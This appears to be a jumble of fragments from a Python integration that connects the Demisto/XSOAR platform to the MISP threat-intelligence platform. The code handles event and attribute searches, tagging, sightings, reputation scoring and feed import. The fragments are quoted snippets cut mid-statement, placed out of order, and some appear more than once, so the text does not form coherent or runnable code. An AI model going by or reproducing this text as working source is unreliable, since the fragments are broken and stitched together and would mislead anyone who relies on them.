= 1 if demisto_args.get('include_decay_score') ==","args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if","attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No","{attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names","args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command","arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips:","return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator","a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for","was received from an event object, meaning the tags are event's ones. Otherwise,","'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif","suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list):","1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration'","API key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\"","please see UT: test_extract_error. Args: error: list of responses from error section Returns:","args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could","attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution:","or if no complex query found returns the original input \"\"\" regex_and =","False, demisto_args: dict = {}, new_event: MISPEvent = None): \"\"\"Adding attribute to a","in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj)","'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id","in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value,","f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids,","'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4","'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def","The parsed response from the MISP search attribute request found_tag (str): The tag","attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append(","has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was","generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args,","{}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id})","= { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only':","MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in","[ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj","value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme","event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return","context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full related","limit has to be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response):","'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id':","warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials')","e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']:","'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) ->","= argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50),","url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args:","this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"),","new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return","not att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id,","'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except","suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids,","= event_to_human_readable(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message","type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e:","if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url","type: ignore from typing import Union, List, Dict from urllib.parse import urlparse import","= ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = {","if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return","0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else","headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri in","demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen')","with the given id: {event_id} was not found in MISP. please check it","in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list event = attribute.get('Event')","limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids","list to include only the ID and Name fields. In addition, returns set","them to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format must be","args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for","zero or a positive number\") if limit and limit < 0: raise DemistoException(\"limit","attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message +=","limit) and by sub-functions calculated the score of the indicator. For the context","response of event search returned from MISP to the context output format. please","in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None)","raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable","command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e:","attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't","configured to be malicious is stronger than recognised as suspicious). \"\"\" common_ids =","so no events should be found. Returns: list includes all the events that","for the given attribute value in MISP and then calculates it's dbot score.","args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller","new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create event\\nNew event with","'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag","'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc':","not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches","events that include the indicator Please see an example for a response in","elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command ==","is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg:","name as described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns:","that include the indicator Please see an example for a response in test_data/reputation_command_response.json","event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution')","Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value,","replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added to MISP event ID","misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events #","in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return","dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event', {}) attribute_tags","demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError:","= attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if len(response_for_context) == limit: pagination_message","pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)} events.\\n","sure your MISP server url is correct.') if \"Please make sure the API","'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL',","return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets a timestamp from","of the event scope). If the data is attribute's (is_event_level = false), and","analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today()","level id) about all the events that include the indicator Please see an","format must be MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url","MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] #","0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1,","that it is an attribute's tag. If the data is event's (is_event_level =","(str): Name of the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', [])","tags which configured as malicious will be scored 3 (i.e malicious). * have","PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is","[ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object","Class in Pymisp. Args: args: dictionary describes MISP object Returns: list: list containing","please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes MISP object Returns:","'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [","'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError","\"Related Attribute\" list and limits the tags and galaxies lists. Eventually, the outputs","match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def","for all the events that have the tag (i.e found_tag) which caused the","CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes',","'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation',","== 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==","domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name')","human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable)","with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings","PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md =","controller='attributes') human_readable = f'Tag {tag} has been successfully removed from the attribute {uuid}'","it says that it is an event's tag. Otherwise (if it is set","argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability):","\"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query:","demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type","use the command search-attributes in order to get the information about the attributes.","'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen',","field doesn't exist when this is an attribute level, default is '0' tag_id","Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called from","{ 'name': event_object.get('name'), 'uuid': event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in","(int) : Limits the number of attributes that will be written to the","def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and returning outputs Args:","amount, we sort the attributes list by the event ids as the greater","md5=value) if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return","and will be stayed only in the malicious one (as a tag that","the Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect to","PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl:","found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score':","operators the original input will be returned Returns: str: dictionary created for misp","attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified') sighting_args = {","Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID':","described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id')","str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes]","demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting","it to tag_set_ids. In any other case, we won't add the tag. Args:","readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable","event in MISP with the given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event =","args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template,","useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat","(set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration reliability score.","added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event )","def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to MISP because of","data is attribute's (is_event_level = false), and the tag is only related to","parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which match the","format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise","misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref","include_correlations=False) -> dict: \"\"\" Convert the response of attribute search returned from MISP","from url and publishing them to MISP urls with feeds for example: https://www.misp-project.org/feeds/","return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if","command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e:","'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive':","the required tag was failed. Please make sure the UUID and tag exist.\")","as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}')","failed. Please make sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes')","MISP search attribute request found_tag (str): The tag that was scored as malicious","an attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else:","= response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value","obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object in MISP","elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif","events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found","connect to MISP because of a NewConnectionError, ' 'Please make sure your MISP","search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights =","'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event","see an example for a response in test_data/reputation_command_response.json Please see an example for","outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id')","indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for","if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"]","'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag':","'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error:","if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not valid\")","given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star","\"\"\"Execute a MISP search over 'attributes'\"\"\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False))","{event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function","params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B","to create the generic object Returns: GenericObjectGenerator: object created in MISP Example: args","{'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v} for","only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str):","else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)}","given UUID of event or attribute. is_attribute (bool): if the given UUID belongs","from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list,","set of the found tag ids. Some tags have a field called inherited.","by the tags ids (attribute tags and event tags). Args: value (str): The","in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\"","add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and returning outputs Args: obj:","= category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if","in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute","given attribute args\"\"\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict)","[ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score',","args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else","'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0 if","str]: \"\"\" Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT)","try to use the Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable","are correct\" in error: return_error('Unable to connect to MISP, ' 'Please make sure","new_event.id add_attribute(event_id=event_id, internal=True, new_event=new_event, demisto_args=demisto_args) event = PYMISP.search(eventid=event_id) human_readable = f\"## MISP create","same tag appears in both Malicious tag ids and Suspicious tag ids lists","raise DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or SHA-256')","dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was","} for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [","4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID',","def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP into readable","scored as malicious or suspicious. event_name (str): Name of the event \"\"\" related_events","in MISP for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an","MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'},","parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params","Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the","score found_tag: the tag (id) which made the indicator to get that score","sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list:","MISP and then calculates it's dbot score. The score is calculated by the","UUID of event or attribute. is_attribute (bool): if the given UUID belongs to","suspicious). * don't have any tags configured as suspicious nor malicious will be","in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings'","return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command","list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError","if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if","if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] =","a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response:","to MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors'","= [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID':","= demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id}","readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list,","# there is no need in returning related event when searching for an","error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and returning","int = None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent","tags list. found_tag (str): The tag that was scored as malicious or suspicious.","are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return {","if page and page < 0: raise DemistoException(\"page should be zero or a","get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the given","in MISP for value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for","the score of the indicator. For the context data outputs, for every attribute","def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in",": Limits the number of attributes that will be written to the context","from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if","to be a positive integer, please change the given: '{tag}' id.\") except ValueError:","return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each one","typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp","event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict)","def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of event search","and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable =","= {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2),","def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response","responses from error section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code':","a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not","attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')]","add the tag except PyMISPError: raise DemistoException(\"Adding the required tag was failed. Please","malicious will be scored 3 (i.e malicious). * have tags which configured as","for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return","tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type')","0: raise DemistoException(\"limit should be zero or a positive number\") def attribute_response_to_markdown_table(response: dict):","is attribute or event, depends on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] =","written to the context Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value,","to perform complex query or if no complex query found returns the original","use the Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect","' 'Please make sure your MISP server url is correct.') if \"Please make","star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'):","Args: obj_to_build (Union[dict, list, str]): object to replace keys in Returns: Union[dict, list,","1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] =","event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if","for tag in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name =","details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg:","CommandResults: 